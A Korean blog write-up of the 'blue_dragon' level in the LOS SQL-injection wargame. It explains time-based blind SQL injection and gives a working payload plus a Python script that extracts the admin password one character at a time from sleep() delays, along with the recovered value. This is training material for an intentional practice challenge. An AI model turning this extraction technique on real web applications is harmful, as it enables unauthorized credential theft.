본문 바로가기
워게임/LOS

blue_dragon(time based sql injection)

by meanjung 2021. 10. 9.

싱글 쿼터를 쓰면 no hack이 출력되면서 쿼리에 대한 리턴값을 보여주지 않는다.

쿼리에 대한 리턴값을 보지 않고도 값을 탈취할 수 있는 방법이 있다.


Time based SQL injection

 

?id=admin' and if(length(pw)>0, sleep(2), 0)%23 을 요청한다.

 

비밀번호의 길이는 8


import requests
import time

cookies={"PHPSESSID":""}
length = 8
passwd=""
for i in range(1, length+1):
    for c in range(33, 123):
        start = time.time()
        url = f"https://los.rubiya.kr/chall/blue_dragon_23f2e3c81dca66e496c7de2d63b82984.php?id=admin' and if(substr(pw,{i},1)=char({c}),sleep(2),0)%23"
        res = requests.get(url, cookies=cookies)
        if time.time()-start>2:
            passwd+=chr(c)
            print(passwd)
            break

output> D948B8A0


https://blog.limelee.xyz/entry/LOS-bluedragon

 

[LOS] blue_dragon

$password = md5('blue_drag0n_limelee');공개 소스코드 분석

blog.limelee.xyz

 

'워게임 > LOS' 카테고리의 다른 글

phantom(서브쿼리)  (0) 2021.10.09
frankenstein(error based sqli)  (0) 2021.10.09
red_dragon(개행, 이분탐색)  (0) 2021.10.06
[**] green_dragon  (0) 2021.10.06
evil_wizard  (0) 2021.10.06

댓글